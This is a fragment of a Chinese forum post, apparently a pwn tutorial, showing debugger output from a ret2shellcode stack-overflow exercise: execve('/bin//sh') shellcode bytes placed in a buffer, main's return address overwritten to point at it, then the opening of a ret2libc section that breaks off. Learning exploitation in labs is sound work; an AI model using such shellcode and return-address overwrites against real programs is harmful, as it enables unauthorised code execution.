    EAX  0x804a080 (buf2) &#9666;— 0x2f68686a0x80485af     call   strncpy@plt 00:0000│ esp  0xff906df0 —&#9656; 0x804a080 (buf2) &#9666;— 0x2f68686ax/20gz 0x804a0800x804a080 :       0x68732f2f2f68686a      0x0168e3896e69622f0x804a090 :    0x6972243481010101      0x59046a51c9310101

    • 返回地址
    0x80485c6     ret        ==>可以看到将main返回地址覆盖成了buf2的地址

    • shellcode
    00:0000│ esp  0xff906e74 &#9666;— '/bin///sh'01:0004│      0xff906e70 &#9666;— 0x6873 /* 'sh' */0x804a0aa     int    0x80  ==> 此时中断退出
    程序六 :ret2libc


    • IDA静态分析
    int __cdecl main(int argc, const char **argv, const char **envp){  char s; // [esp+1Ch] [ebp-64h]  setvbuf(stdout, 0, 2, 0);  setvbuf(_bss_start, 0, 1, 0);  puts("RET2LIBC >_____
  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    楼主热帖
    回复

    使用道具 举报

    *滑块验证:
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

    GMT+8, 2024-4-18 18:15 , Processed in 0.187500 second(s), 31 queries .

    Powered by Discuz! X3.4

    © 2001-2017 Comsenz Inc.

    快速回复 返回顶部 返回列表